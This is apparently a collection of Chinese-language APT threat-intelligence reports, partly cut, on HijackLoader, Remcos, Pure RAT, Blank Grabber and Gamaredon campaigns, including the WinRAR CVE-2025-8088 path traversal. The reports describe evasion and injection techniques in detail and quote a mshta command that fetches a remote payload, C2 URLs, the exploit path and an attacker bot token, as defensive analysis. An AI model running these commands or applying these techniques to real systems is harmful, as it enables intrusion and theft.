CFlux.exe启动后，通过DLL侧加载（DLL Side-Loading）技术加载了位于同目录下的恶意动态链接库CDWizard.dll。该恶意DLL修改了原始函数逻辑，以便在运行时动态加载SQLite.Interop.dll。

值得注意的是，恶意代码摒弃了通过导出表解析函数的常规API调用方式，转而直接跳转至SQLite.Interop.dll内部的硬编码偏移地址0xF3735处执行后续指令。

这种非标准的控制流转移技术有效地混淆了执行路径，显著增加了静态分析与检测的难度。

攻击者将API解析逻辑封装在sqlite3_log函数内部，将其伪装成看似无害的合法日志记录操作。

2.4. 解密与第一次注入

载荷执行阶段，恶意代码首先解密Hekgiegsteal.lt文件中的加密数据提取出Shellcode（ADD算法）。

紧接着，攻击者实施Module Stomping：加载合法的evr.dll模块，并直接将其可执行代码段（.text）替换为恶意Shellcode，同时传入Jabveak.qafy作为后续阶段载荷参数。

这种手段使恶意代码运行在合法模块的内存空间内，利用系统文件的合法路径掩盖其真实属性，极大地增加了内存扫描工具的检测难度。

2.5. 载荷组装与第二次注入

驻留在evr.dll中的恶意Shellcode读取并解密数据文件Jabveak.qafy,利用内置的PNG格式解析逻辑，在数据流中遍历并定位符合特定特征签名的IDAT数据块。

为了还原载荷，Shellcode申请一段具有PAGE_EXECUTE_READWRITE(RWX)属性的内存空间，将分散在各个IDAT块中的数据片段提取出来并进行重组。数据拼接完成后，代码利用嵌入在数据头部的密钥执行XOR解密算法，在内存中还原出完整的攻击载荷。

解密后的数据不仅包含HijackLoader，还包含关键的配置信息，指定了下一阶段的注入策略，包括目标文件路径、宿主文件名、以及各个功能模块的名称与运行参数。依据此配置，恶意代码再次实施 Module Stomping 攻击，将提取出的载荷覆写到合法系统模块rasapi32.dll的内存空间中。

2.6. HijackLoader

HijackLoader[2]功能模块

模块名称	模块功能
AVDATA	反病毒软件进程名称黑名单
ESAL/ESAL64	执行最后的Payload
ESLDR/ESLDR64	辅助注入HijackLoader相关的 shellcode
ESWR/ESWR64	清除shellcode，并执行rshell模块
FIXED	用于进程注入的合法可执行文件
LauncherLdr64	解密HijackLoader PNG文件提取模块
modCreateProcess/modCreateProcess64	创建子进程
modTask/modTask64	创建计划任务
modUAC/modUAC64	UAC提取模块
modWD/modWD64	禁用Defender
modWriteFile/modWriteFile64	文件写入模块
rshell/rshell64	重定位、解析并执行最终有效载荷
ti/ti64	执行第一阶段后代码注入
TinycallProxy/TinycallProxy64	间接进行函数调用，对抗栈回溯
tinystub/tinystub64	辅助注入rshell以规避检测
tinyutilitymodule/tinyutilitymodule64	用空字节覆盖指定文件的PE Header
SM	指定TinycallProxy在对抗栈回溯时用于伪装调用地址的DLL
COPYLIST	文件配置清单
CUSTOMINJECT	投递最终载荷时被注入的程序
CUSTOMINJECTPATH	存放CUSTOMINJECT的路径
X64L	架构转换
PERSDATA	持久化配置

HijackLoader的AVDATA模块通过计算进程名的CRC32哈希值进行环境侦察，以识别并规避主流安全软件。

CRC32	PRODUCT NAME	PROCESS NAME
0x40CB21D3	Kaspersky AntiVirus	avp.exe
0xB02EF94	Avast Antivirus	avastsvc.exe
0x27873423	/	/
0x19E8FAD2	BitDefender Antivirus	bdagent.exe
0x8E9E8ADD	AVG Internet Security	avgsvc.exe
0xD5345E50	Emsisoft Anti-Malware	a2service.exe
0x456B109F	Webroot SecureAnywhere	wrsa.exe
0xF868B2F1	Windows Defender	mspeng.exe

TinycallProxy模块利用“调用栈伪造”技术，在执行敏感操作时，修改内存栈帧，将函数调用伪装成CDWizard.dll的地址。从而欺骗安全软件的栈回溯检查，使恶意行为看起来像是该DLL的正常业务逻辑流。

利用Windows计划任务实现持久化。

HijackLoader使用环境变量在不同加载阶段之间传递关键配置信息。为了规避静态特征检测，环境变量的名称并非硬编码，而是基于受害主机的NetBIOS计算机名动态生成。使得每一次感染生成的变量名都具有唯一性，增加检测难度。

2.7. Remcos

HijackLoader最终将Payload注入到合法程序Chime.exe中，以隐蔽执行核心远控木马Remcos RAT。Remcos是一款经常被滥用的合法远程管理工具，具备远程管理、载荷执行、屏幕监控、持久化和信息窃取等多种功能。尽管该工具在市场上被标榜为合法的系统管理软件，但因其强大的侵入性功能，常被各类恶意攻击者滥用于网络间谍和数据窃取活动。运行后的Remcos Implant会主动连接攻击者的C2服务器以接收指令。攻击者通过Remcos提供的图形用户界面(GUI)控制面板，能够对受害主机进行批量自动化管理，或进行精准的手动交互操作。

三、归属研判

1. 本次攻击使用的诱饵文件名（如 Zapit_iz_verhovnoi_radi，即“来自最高拉达的质询”）明确指向乌克兰最高立法机构的调查程序。文件内容涉及“军人档案篡改”与“抚恤金拒付申诉”等敏感议题，这与UAC-0184长期以来针对乌克兰政府决策层、军事行政体系及军人个体实施情报窃取的战略动机完全吻合。

2. 攻击利用Viber分发恶意压缩包，延续了该组织利用即时通讯软件扩展攻击面的标志性策略。UAC-0184向来擅长利用Signal、Telegram及约会软件构建信任关系；Viber作为乌克兰极其普及的通讯工具，是其扩展攻击面的典型选择。此外，利用伪装成“军事调查”或“法律请求”文档的LNK文件进行投递，精准复刻了该组织既往行动的惯用手法。

3. 攻击链最终载荷为Remcos RAT，并由HijackLoader负责释放与加载，这一工具组合是UAC-0184的关键技术特征。

综上结合受害者定位、社会工程学手段及专用工具集特征，有高置信度将本次攻击活动归因为UAC-0184组织。

附录 IOC

MD5

77da028b852acdcdcf4b46b23e79ac66

f7a93c7918a4d8837519eb6619c25b90

739dea9edc813c83cc488010cbdc10f6

1ce195f66d79587d583e4792ceb1c898

C2&URL

5.101.85.24

http[:]//5.101.85.24/k4s/tune.ps1

http[:]//5.101.85.24/k4s/spear.ps1

http[:]//5.101.85.24/smoothieks.zip

参考

[1]https://www.ibm.com/think/x-force/hive0156-continues-remcos-campaigns-against-ukraine

[2]https://medium.com/@baglai.vlad/hijackloader-ghostpulse-idat-loader-comprehensive-analysis-6e15f48eb96d

团队介绍

TEAM INTRODUCTION

360高级威胁研究院

阅读原文

跳转微信打开

APT-C-36（盲眼鹰）利用Hijackloader开展攻击活动

Fri, 19 Dec 2025 17:31:00 +0800

原创高级威胁研究院 2025-12-19 17:31 北京

360高级威胁研究院监测发现，盲眼鹰组织在2025年10月份实施了新一轮攻击活动，在本次攻击活动中，攻击者使用了Hijackloader加载恶意载荷。

APT-C-36

盲眼鹰

APT-C-36（盲眼鹰）是一个疑似来自南美洲的APT组织，主要目标位于哥伦比亚境内和南美洲的一些国家和地区，如厄瓜多尔、智利和巴拿马等。该组织自2018年被发现以来，针对以上目标地区的政府部门、金融、保险等行业以及大型公司持续发起定向攻击。

一、概述

近期360高级威胁研究院监测发现，盲眼鹰组织在2025年10月份实施了新一轮攻击活动，在本次攻击活动中，攻击者使用了Hijackloader[1][2]加载恶意载荷，并呈现出以下技术特点：

1、灵活使用各类API间接调用方法；

2、该loader以模块化形式运作，并使用各类注入手段多阶段、反复进行shellcode注入。通过以上技术的综合运用，达到欺骗受害者、迷惑分析人员和逃避各类自动化检测手段的目的。

二、攻击流程分析

图1 攻击流程示意

攻击者使用“白加黑”的方法依次加载两个恶意dll文件，再将数据文件中的Hijackloader解密和解压缩出来，注入到合法PE文件中并执行，最终加载Pure远程控制木马，实现对受害者计算机的控制。

1. 载荷投递

本次攻击活动中的钓鱼手法与过往相比没有变化，仍然使用SVG文件作为诱饵，向目标发送包含这个附件的钓鱼邮件。

受害者点击链接后下载压缩包Demanda por daños y perjuicios – Juzgado 49，解压后文件夹内包含6个文件，其中的02 PROCESO JUDICIAL.exe和MSVCR100.dll为合法应用程序和动态链接库，python34.dll和VideoUploader.dll为恶意PE文件，通过执行exe来依次加载两个dll；Rookcrung.eh和Vind.wt为加密的恶意载荷文件。

图2 解压缩后的文件夹内的文件

受害者点击exe文件开始执行后，首先加载videouploader.dll，再通过LoadLibrary加载python34.dll，而后进入python34.dll继续执行。

图3 从videouploader.dll中加载python34.dll

在python34.dll中，首先从kernel32.dll中导入多个函数地址，以备后续操作中使用。然后读取文件RookCrung.eh, 调用VirtualProtect更改vssapi.dll读/写/执行属性后，挖空并注入从文件中解密出的恶意载荷。

图4 向vssapi.dll中注入解密后的RookCrung.eh

在vssapi.dll中，首先将Vind.wt文件中的内容解密和解压，得到Hijackloader。解密该文件时使用了如下方法：检索加密文件中的“????IDAT”字符模式进行匹配（这也是该loader又被称作IDAT loader的原因），找到该模式后检查紧随其后的四字节内容是否为C6 A5 79 EA，若是则对其后的数据进行异或运算解密。接下来的八字节为密钥和数据长度。

图5 查找解压位置并解密

图6 加密数据的结构

图7 载荷解密过程

解压时间接调用了ntdll.RtlDecompressBuffer，使用LZNT1解压算法实现。

图8 解密和解压后的文件包含了下一步注入的目录、文件名及其可执行文件，以及各功能模块名及其配置

图9 解密和解压缩Vind.wt

图10 通过计算和比对哈希查找所需要的模块，将其注入pla.dll的.text节中开始执行

2. 载荷加载

该loader包含了多达35个功能模块。这些模块包含了配置信息（待注入目录、文件名、杀毒软件名称等）、后续注入的完整的PE文件或shellcode等。

图11 提取出的35个功能模块

该loader依次执行如下模块：

Ti（主模块）-> SM->TinyCallProxy -> TinyCallProxy-> (创建进程C-R.exe)-> modWriteFile -> SM -> AVDATA -> rshell -> ESAL -> CUSTOMINJECT ->CUSTOMINJECTPATH -> TinyCallProxy -> modCreateProcess->(创建进程Terana.exe)-> TinyCallProxy -> modCreateProcess->（创建进程chime.exe）

Ti模块中实现了以下功能：

1、通过哈希校验动态导入kernel32、kernelbase和ntdll模块及其大量函数，保存在一个表中，在后续的调用中直接查表调用，避免静态特征被分析检测，Hijackloader中大量API都通过此方法调用。

图12 建立API间接调用表

图13 模块查找：遍历PEB->ldr->InLoadOrderModuleList将模块名的CRC32哈希值与目标模块的CRC32 哈希值比对

图14 收集名称以Zw开头的系统调用

2、该模块中使用了一种 “栈欺骗”技术来掩护受监控的敏感系统调用或内核级 API调用来源，使之看起来像是来自合法的系统调用。具体逻辑如下：

1) 通过跟踪EBP寄存器来回溯栈帧；

2) 获取返回地址（EBP+4），如果返回地址不是位于ntdll或kernalbase的的text节区内，则记录该返回地址；

3) 将返回地址替换为一个合法dll（d3d9.dll）的text节区内随机地址；

4) 重复以上过程直到栈底限制或遇到连续三个返回地址都在ntdll或kernalbase的栈帧，说明上层调用已经回到系统代码，可以停止查找和替换。

以上逻辑的具体实现如下：

图15 栈欺骗实现过程

3、此外，该模块还使用了Heaven’s Gate即所谓“天堂之门”技术调用64位API。

图16 Heaven’s Gate实现

该技术原理为将 64位CS寄存器selector值0x33 压栈，获取 EIP 并压栈，调整返回地址指向后面的64位stub，最后使用far return 使CS被切换到0x33，进入64位模式。

图17 通过天堂之门实现一次64位模式系统调用的过程

4、模块中还实现了unhook功能：将当前加载的ntdll与纯净的ntdll的text节进行比较，并对call和jmp指令的目标地址进行检查比对，确定是否被hook，如果发现存在hook行为，则将当前加载的ntdll修改为纯净的ntdll内容。

图18 unhook ntdll的具体步骤

图19 CUSTOMINJECT模块内是一个待注入的合法PE文件，用以将最终载荷注入

图20 CUSTOMINJECTPATH模块内的配置信息则指定了这个PE的路径。

图21 SM模块的内容相当简单，只有一个未来用作宿主程序的d3d9.dll的名字

图22 TinycallProxy模块用以实现对特定系统调用函数的调用的包装，可变长参数中包含了调用号

AVDATA模块主要包含了与杀毒软件进程名哈希值、执行流程标志位等配置数据，构成一个28字节的结构体。样本将AVDATA模块中的杀毒软件进程名的crc32哈希值与调用NtQuerySystemInformation 检索到的本机进程名哈希值进行比对，若发现一致，则改继续检查它的持久化或注入方法标志位，选择相应的执行流程。

检索的杀毒软件进程名包括zhudongfangyu.exe（360）、360tray.exe（360）、avp.exe（卡巴斯基）、avastsvc.exe（avast）、vkise.exe（Comodo）、cis.exe（Comodo）、mbam.exe（Malwarebytes）等。

图23 AVDATA模块中的数据

图24 检查进程是否为杀毒软件进程

ESAL模块的作用为将已注入的shellcode清除，并执行最终载荷。

COPYLIST模块内包含了用以拷贝进临时目录中的文件名，通过它们实现持久化。

modCreateprocess模块的作用为创建指定的进程，该进程执行的是shellcode或最终载荷注入的目标（%userprofile%\AppData\Roaming\systemdocker\Chime.exe等），其中的关键调用通过TinycallProxy模块实现。例如CreateProcessW、NtDelayExecution等。

rshell模块功能为执行最终载荷。最终载荷以4字节异或的方式被解密出来，然后检查该载荷的PE信息，以确定后续注入方式。

图25 解密最终载荷

检查预设注入类型后实施注入操作，此处类型为3。

图26 向TeraNa.exe注入rshell模块

根据标志位的设置，可选择6种不同的注入方式。在本例中标志位按位与4为true，同时按位与0x80为false，故采用了进程分身[3][4]的方式实现了对TeraNa.exe的注入操作，该方法是一种利用事务性 NTFS（TxF）写入+节映射来在不落地文件的情况下创建并执行恶意进程的隐蔽技术。主要步骤包括：

1) TxF：创建一个文件系统事务（Transaction），并将当前线程绑定到该事务；

2) PE 结构修改：在内存中构造目标PE 文件的“dat”节区；

3) 使用modCreateProcess创建进程，再通过NtOpenProcess调用，打开目标进程；

4) 调用NtGetContextThread、NtSetContextThread获取和更改目标线程的寄存器状态；

5) 调用NtDelayExecution暂停一段时间，以逃避基于时间检测的沙箱；

6) 将rshell模块写入进程入口；

7) 调用NtResumeThread运行该进程。

3. 最终载荷分析

最终载荷被注入到一个白文件，该恶意载荷是属于Pure家族的远程控制软件，它由地下网络犯罪开发者团体PureCoder开发，具有收集主机信息、虚拟环境监测、加载各类插件等功能。

该载荷如下图所示，已使用.NET Reactor进行了重度混淆保护，具有防止反编译的功能，不具备可读字符。

图28 在dnSpy内查看提取到的RAT反编译结果

图29 提取到的RAT文件信息

该RAT的配置信息经Protobuf序列化、Gzip压缩、Base64编码三步处理后存储在载荷中。

图30 加密的配置信息

经解码和解压缩，可以看到它的配置信息如下：

图31 解密和解压缩后的配置信息

各字段分别代表C2服务器域名、端口、TLS证书、ID、环境变量路径、互斥量等信息。

三、归属研判

通过对本次攻击活动的分析，我们发现攻击方式与APT-C-36（盲眼鹰）组织的技术特征较为符合，具体总结如下：

(1) 钓鱼诱饵以司法类文件为主题，面向哥伦比亚境内用户，与过往活动完全一致[5]。

(2) 多阶段加载dll、注入手法、注入目标（pla.dll等系统dll）、恶意载荷数据文件命名（无意义的拉丁字母和扩展名）等活动特点与以往类似。

值得注意的是，在此次活动中，该组织开始大规模使用近年来在网络犯罪界开始流行的Hijackloader，使用它的多个功能模块来实现恶意行为，技术手段趋于复杂化。这说明该组织及时跟进了恶意软件的发展潮流，不断丰富自身的工具储备，以提高攻击成功率，规避分析和检测。

附录 IOC

MD5

5894fc151abb8d58439214304a4354b0

e8b6d147ed7712a7db9ab1ec3cfe734b

4b917db1f7ddc803821b573f1bc2a91c

3f4699c17966857c625426fbbda039b3

loque2025.mysynology[.]net

参考

[1]https://www.trellix.com/blogs/research/analysis-of-hijackloader-and-its-infection-chain/

[2]https://www.zscaler.com/blogs/security-research/technical-analysis-hijackloader #second-stage-loading

[3]https://attack.mitre.org/techniques/T1055/013/

[4]https://blackhat.com/docs/eu-17/materials/eu-17-Liberman-Lost-In-Transaction-Process-Doppelganging.pdf

[5]https://research.checkpoint.com/2025/blind-eagle-and-justice-for-all/

团队介绍

TEAM INTRODUCTION

360高级威胁研究院

阅读原文

跳转微信打开

APT-C-26（Lazarus）组织利用WinRAR漏洞部署Blank Grabber木马的技术分析

Fri, 12 Dec 2025 17:30:00 +0800

原创高级威胁研究院 2025-12-12 17:30 北京

近期360高级威胁研究院捕获Lazarus组织利用WinRAR漏洞进行投毒攻击的新型样本，攻击者将含有恶意脚本的RAR文件伪装为正常工具包诱导用户下载，受害者一旦解压文件便会触发恶意脚本释放并下载Blank Grabber信息窃取木马。

APT-C-26

Lazarus

APT-C-26（Lazarus）是近年来最为活跃、最具破坏性的国家级 APT 组织之一，其攻击活动跨越金融、制造、航空航天、政府机构及加密货币等多个高价值行业。该组织不仅具备复杂的跨平台攻击能力，还持续投入资源开发专用的漏洞利用链、持久化工具和多阶段载荷框架，以最大化攻击成功率和隐蔽性。

一、概述

近期360高级威胁研究院捕获Lazarus组织利用WinRAR漏洞CVE-2025-8088进行投毒攻击的新型样本，攻击者将含有恶意脚本的RAR文件伪装为正常工具包诱导用户下载，受害者一旦解压文件便会触发恶意脚本释放，随后该脚本下载Blank Grabber信息窃取木马。该木马主要针对Chromium系浏览器的密码、Cookies、自动填充数据，窃取Discord与Telegram完整会话，并针对MetaMask、Exodus、Electrum等20余种主流加密钱包的种子私钥进行窃取。通过此次详细分析及曝光披露，希望相关企业和个人能够提高安全防范意识，采取有效措施保护企业资产和用户财产免受损失。

二、攻击活动分析

1. 载荷投递分析

Lazarus组织通过投递名为“Pharos.rar”的压缩包文件针对受害者展开攻击，基本信息如下:

MD5	faa9dec02bad43b1af68a4194dea8762
文件名称	Pharos.rar
文件大小	115 KB (118,528 字节)

“Pharos.rar”是一个携带“CVE-2025-8088”漏洞，伪装成“Pharos-Automation-Bot”项目的压缩包文件。“CVE-2025-8088”是WinRAR程序存在的路径穿越漏洞，其漏洞成因在于WinRAR工具在处理ADS数据流时对于ADS流的路径没有进行充分校验导致攻击者可以构造恶意的ADS流路径(ADS通过路径中的“：”符号区分本体数据和流数据)，从而将指定文件写入攻击者指定的目录下从而实现任意代码执行。

如下是分别使用360压缩程序和WinRAR打开“Pharos.rar”文件展示图，360压缩将其显示为一个文件目录，而WinRAR程序并没有显示，这样就迷惑了受害者，以至受害者认为没有其他文件。

如图可见，“Pharos.rar”压缩包有多个RarBlock区块，其中0号区块是主区块，1到22号区块以File区块和NTFS区块两两交替分布，表示每个文件实体后紧跟一个NTFS Alternate Data Stream（ADS）数据。

每个NTFS区块中，有多个属性结构体，其中Name为“STM”，标识该数据流属性，以及DataArea字段存储ADS文件的实际路径。

通过分析，WinRAR会逐个解析RarBlock结构体，当解析到携带ADS流的RarBlock结构体时，会判断Name字段是否是“STM”，如果是执行“cve_2025_8088_start”，并将RAR文件中的压缩文件本体路径传入。

cve_2025_8088_start函数逻辑是这样的，首先解析RarBlock结构体中的RecordData数据（这部分数据在RAR文件中表示的是ADS路径）。然后判断ADS路径是否以“：”开头，

然后将传入的文件本体路径和获取到的ADS路径进行拼接。

最后，根据拼接好的路径传入指定函数中，继而通过CreateFileW函数创建携带ADS流的文件。

但是，WinRAR7.12并没有对待创建的文件路径进行校验，导致异常的文件路径“[dir]\Pharos\contract_adress_1.txt:..\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\1.bat”传入CreateFileW中，而合法的文件路径为“[dir]\Pharos\\contract_adress_1.txt:1.bat”，即ADS名称部分（冒号后）不能包含路径分隔符“\”。这点在WinRAR 7.13的补丁中已被修复，通过强制校验ADS路径格式，确保其符合规范，从而阻断利用异常路径实现任意文件写入的攻击手法。

一旦用户解压上述攻击者投递的恶意文档，就会触发目录穿越漏洞，将名为“1.bat”的恶意载荷释放到“C:\Users\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup”目录，以展开后续攻击。

释放到自启动目录下的1.bat脚本是一个伪装成“Windows Defender 更新提示”并下载、执行恶意载荷（stub.pyw）的恶意脚本，内容如下所示。

其执行时首先调用powershell弹出Windows Defender 更新警告框，诱导用户关闭杀软。接着从从Dropbox下载一个Python脚本（stub.pyw）到%USERPROFILE%\Downloads目录并执行。1.bat执行警告框如下图所示：

2. 攻击组件分析

下载的stub.pyw是一个用多层嵌套字符串反序+base64解码+zlib解压缩的动态执行器（loader）。它从混淆的字节串中还原出压缩的Python代码，然后使用exec()执行。

经过63轮反序+base64解码+zlib解压缩后可得到第一次明文。如下图所示：

但是得到的明文又分两部分，第一部分继续是使用相同方式混淆的代码，第二部分明文是基于的Python木马。

针对第一部分混淆的代码继续经过63轮解压缩得到明文，其主要功能是判断当前机器是否有Python环境，没有则安装以便后续代码执行，然后在启动目录下写入Tsunami Injector脚本。

具体做法是从Python官网下载Python 3.11安装包，Startup目录下写入Windows Update Script.pyw形成持久化。

Windows Update Script.pyw会继续创建计划任务，并解密url列表从Pastebin下载Tsunami-Installer。解密方式采用hex+xor+base64解码+反序的方式，如下图所示：

Tsunami-Installer后续会下发多个加密货币挖矿程序和凭证窃取程序。

第二部分的Python代码是一个开源的信息窃取木马（Stealer），项目名称为“Blank Grabber”，项目地址为https://github.com/Blank-c/Blank-Grabber。Blank Grabber的通信模式支持Discord和Telegram两种方式，在配置Setting里进行定义，同时配置里面还定义了哪些功能的开启，如下图所示。

根据配置可知本次使用Telegram进行通信，其Bot Token和ChatID为：7400917372:AAHuzyKxmWHc4L7jUOENK0BGNB0k1pI65lE$783432595。其执行时隐藏窗口，接着创建互斥体“il9MGMxYXWAeXxAm”，然后开启窃密行动。

首先窃取浏览器密码+Cookies+自动填充+历史记录数据，主要包括基于Chromium内核的浏览器如：Chrome、Brave、Opera、Microsoft Edge、Yandex Browser等。

窃取Telegram会话数据。

窃取DiscordToken数据，支持所有 Chromium 浏览器，还特别增加了Firefox浏览器的适配，获取数据包括完整Token、邮箱、手机号、付款方式、Nitro状态等。

接着窃取钱包，涵盖Zcash、Armory、Bytecoin、Jaxx、Exodus、Ethereum、Electrum 、Atomic Wallet、Guarda、Coinomi、MetaMask、Phantom、TronLink、Binance Wallet等20多种主流钱包。

Blank Grabber木马的功能较齐全，不再一一叙述，其完整功能及本次木马开启的功能如下表所示：

功能	功能描述	是否开启
PingMe	发送消息时@everyone提醒攻击者
Vmprotect	反虚拟机/反沙箱
Startup	开机自启动（复制到StartUp文件夹）
Melt	运行完毕后自删除
UacBypass	UAC提权绕过
ArchivePassword	设置ZIP/RAR 压缩包密码（当前为 1）	是
HideConsole	隐藏黑色控制台窗口	是
Debug	输出调试日志
RunBoundOnStartup	释放并运行资源中绑定的额外文件
CaptureWebcam	摄像头捕获
CapturePasswords	窃取浏览器保存的账号密码	是
CaptureCookies	窃取浏览器的Cookies（含登录态）	是
CaptureAutofills	窃取浏览器自动填充（姓名、电话、地址、身份证等）	是
CaptureHistory	窃取浏览器历史记录	是
CaptureDiscordTokens	窃取所有Discord Token（含邮箱、付款方式、Nitro）	是
CaptureGames	窃取Minecraft、Steam、Epic、Growtopia等游戏会话
CaptureWifiPasswords	窃取已连接过的所有WiFi密码
CaptureSystemInfo	窃取系统信息、硬件信息、IP归属等
CaptureScreenshot	多显示器全屏截图
CaptureTelegram	窃取Telegram会话数据	是
CaptureCommonFiles	窃取文件
CaptureWallets	窃取 MetaMask、Exodus、Electrum等20+加密钱包种子/私钥	是
FakeError	运行时弹出假错误弹窗迷惑用户
BlockAvSites	修改hosts屏蔽杀毒软件官网
DiscordInjection	向Discord客户端注入JS后门

从上分析可知，Lazarus组织利用Blank Grabber木马精准开启了“浏览器全家桶 + Telegram + Discord + 加密钱包”四大最值钱功能，目的很纯粹，旨在系统性收集受害者的凭证与资产信息，为后续账户接管、资金转移和供应链渗透创造条件。

三、归属研判

通过对本次攻击活动的深入分析，发现攻击方式与Lazarus组织技术特征较为符合，具体总结如下：

1．本次样本使用的解混淆方式：多轮反序+base64解码+zlib解压缩和Lazarus组织之前攻击方式相同。

2．本次样本释放的Tsunami Injector和安全研究机构 HiSolutions对Lazarus Tsunami框架的详细分析报告[1]基本一致，具体到文件名，函数名及解压密码“!!!HappyPenguin1950!!!”等都与报告相同。

3．本次攻击也是针对加密货币领域，诱饵名“Pharos.rar”伪装成“Pharos-Automation-Bot”（一个在加密货币量化交易圈广为人知的自动化交易机器人项目），精准迎合了目标人群（加密货币玩家、量化开发者与DeFi从业者），符合Lazarus组织持续针对加密货币领域特点。

综上，将本次攻击活动归属到APT-C-26（Lazarus）组织。

总结

APT-C-26（Lazarus）组织利用PyPI供应链投毒攻击已造成多起金额高达数百万美元的加密货币盗窃事件。该组织通过不断迭代跨平台投毒技术和结合最新漏洞实现快速武器化，显示出其对加密货币领域的高度关注和持续投入。建议所有使用Python开发环境以及处理外部RAR文件的用户及企业立即升级WinRAR至最新版本、严格审查PyPI软件包来源可靠性，并部署针对性检测规则，以有效防范该组织的供应链攻击和后续加密资产窃取行为。

附录 IOC

MD5

faa9dec02bad43b1af68a4194dea8762

273af5e2e0130baee7d3b55081be5ad5

41df3b66ebcfb6e4d4d581d678299041

参考

[1]https://research.hisolutions.com/2025/04/rolling-in-the-deepweb-lazarus-tsunami/

团队介绍

TEAM INTRODUCTION

360高级威胁研究院

阅读原文

跳转微信打开

APT-C-53（Gamaredon）利用CVE-2025-8088进行网络钓鱼攻击活动

Fri, 05 Dec 2025 17:30:00 +0800

原创高级威胁研究院 2025-12-05 17:30 北京

360高级威胁研究院近期监测数据显示，Gamaredon组织正在利用CVE-2025-8088（WinRAR路径遍历漏洞）进行鱼叉式网络钓鱼攻击。

APT-C-53

Gamaredon

APT-C-53（Gamaredon），又名Primitive Bear、Winterflounder、BlueAlpha，是一个自2013年起活跃的俄罗斯政府支持的高级持续威胁（APT）组织。该组织长期针对乌克兰政府、军事等重点单位进行攻击，最早攻击活动可追溯至2013年，主要目的为窃取情报、进行间谍活动等。该组织十分活跃，即使近几年不断被安全厂商披露其攻击活动，但也未曾阻止APT-C-53停止行动潜伏，反而有越演越烈的趋势。

一、概述

360高级威胁研究院近期监测数据显示，Gamaredon组织正在利用CVE-2025-8088（WinRAR路径遍历漏洞）进行鱼叉式网络钓鱼攻击。该组织在2025年持续针对乌克兰政府职能部门开展高密度情报窃取活动，本报告据此展开专项分析，建议相关机构及人员强化安全防护意识，加强涉密情报与用户数据的加密保护及访问控制，有效防范恶意攻击导致的信息泄露风险。

二、攻击链分析

2.1. 初始访问与漏洞利用(CVE-2025-8088)

初始访问向量是通过鱼叉式钓鱼邮件投递的特制RAR压缩包文件。该攻击利用了编号为CVE-2025-8088的目录遍历漏洞。

该漏洞的技术原理在于：归档程序允许文件中包含替代数据流(Alternate Data Streams, ADS)，而ADS 可被用于携带任意恶意载荷。当用户执行提取归档操作，或直接从归档中打开文件时，ADS中隐藏的数据将被写入到攻击者指定的任意系统目录，从而触发目录遍历攻击。

攻击者精心构造了该归档文件，使其在文件列表中（如图1所示）表面上只包含一个良性的诱饵文件。

图1.压缩包文件列表

一旦受害者尝试解压此诱饵RAR文件，漏洞即被触发，导致以下文件被静默创建到指定路径：%userprofile%\appdata\roaming\microsoft\windows\start menu\programs\startup\xxx.HTA

通过此手法，归属于Gamaredon组织的HTA恶意文件被直接部署到Windows启动目录，从而在用户登陆时执行，实现持久化。

（由于未能精确匹配特定环境变量，未能成功复现完整的利用链。因此，本报告中描述的后续攻击活动，均基于从受害设备中实际捕获的样本和日志分析得出。）

图2.解压时显示的WinRAR错误

2.2. 第一阶段执行：HTA下载器

在CVE-2025-8088漏洞利用成功后，攻击者依赖受害者计算机的下一次重启或用户重新登录，来触发Windows启动目录中的HTA文件。

典型TTP：HTA文件的加载和执行是Gamaredon组织的惯用手法。此阶段的HTA文件内嵌了一个简短的VBScript脚本。

载荷分析：此阶段的HTA文件（如图3所示）内嵌了一个简短的VBScript脚本，其核心功能是扮演一个下载器(Downloader)。

图3.初始HTA文件

执行流程：该VBScript通过命令行启动mshta.exe进程，并传递一个URL参数，用以从远程C2服务器下载并执行第二阶段的攻击脚本。解析后的命令如下：

mshta.exe http://censor.net@open-files.sytes[.]net/GPuUkr/copiesDIB/sheetODy.pdf

命令分析：攻击者使用了censor.net@语法，试图混淆或绕过对真实主机名open-files.sytes.net的检测。结合以往对Gamaredon组织攻击活动的持续追踪分析，所下载的sheetODy.pdf文件并非合法的PDF文档，而是一个伪装成PDF的VBScript脚本，之后mshta.exe会立即对其进行解析和执行。

2.3. 第二阶段载荷：多层混淆VBScript

mshta.exe下载并执行的脚本是该组织的主要VBScript载荷。此次攻击延续了该组织标志性的“组合式VBS”脚本结构，具有多层嵌套和解密的特点。

为规避反病毒软件的静态检测，脚本采用了多层混淆手段：

1. 字符串替换：脚本中充斥着无意义的字符串变量和复杂的自定义替换函数，用于在运行时动态重组（Deobfuscate）出真正的恶意代码。

2. Base64编码：核心功能逻辑（如C2通信、持久化）以及下一阶段的VBScript代码，通常被Base64编码后嵌入在脚本中，等待执行时解码。

这种多层VBS脚本在逐层解密和执行过程中，会释放一个或多个功能组件，以执行信息收集、建立C2通信，并部署额外的持久化机制。

2.4. 持久化与C2通信

VBScript载荷成功执行后，其核心任务之一是建立多层持久化机制，以确保攻击的稳固性。

持久化：

1. 启动目录：如2.1所述，利用CVE-2025-8088漏洞在Windows启动目录中释放HTA文件，是其第一层持久化。

2. 计划任务：后续阶段的VBScript载荷会进一步将自身复制到 %USERPROFILE% 或 %TEMP% 目录，并创建一个伪装的计划任务。该计划任务通常被命名为与合法系统服务相似的名称，配置为在用户登录或系统启动时触发，构成第二层持久化。

C2通信：

1. 脚本中包含一个初始硬编码的C2域名，用于首次回连。

2. 为增强通信的弹性和对抗能力，脚本通常还会设置多个备用C2地址。这些恶意载荷及计划任务均使用伪装性名称，以便混淆视听并供后续组件调用或动态更新。

三、归属研判

本次攻击活动是Gamaredon组织的一次典型行动。该组织通过将新的CVE-2025-8088漏洞（用于初始访问和第一层持久化）与其成熟的、以VBScript为核心的攻击框架（用于载荷投递和多层持久化）相结合，构建了高效且具备弹性的入侵和持久化路径。

从利用漏洞写入HTA下载器，到执行多层混淆的VBScript，再到利用计划任务实现第二层持久化，攻击链的每一步都清晰地体现了该组织鲜明的攻击特征。

四、防范排查建议

强化邮件安全防护：部署先进的邮件网关解决方案，过滤和拦截恶意附件和钓鱼邮件，特别是含有LNK文件和恶意压缩文件的邮件。

加强系统和网络监控：实施全面的日志监控和分析，重点关注系统启动项、注册表修改以及PowerShell脚本的执行记录。

强化终端安全防护：安装360安全卫士，并确保所有终端设备安装并定期更新反病毒和反恶意软件，进行全面的恶意软件扫描

附录 IOC

MD5

0e39dee073166e011bc0f425caf9446e

ae1e647eece735f631addb0731d3580b

62.60.234.123

87.251.69.182

open-files.sytes[.]net

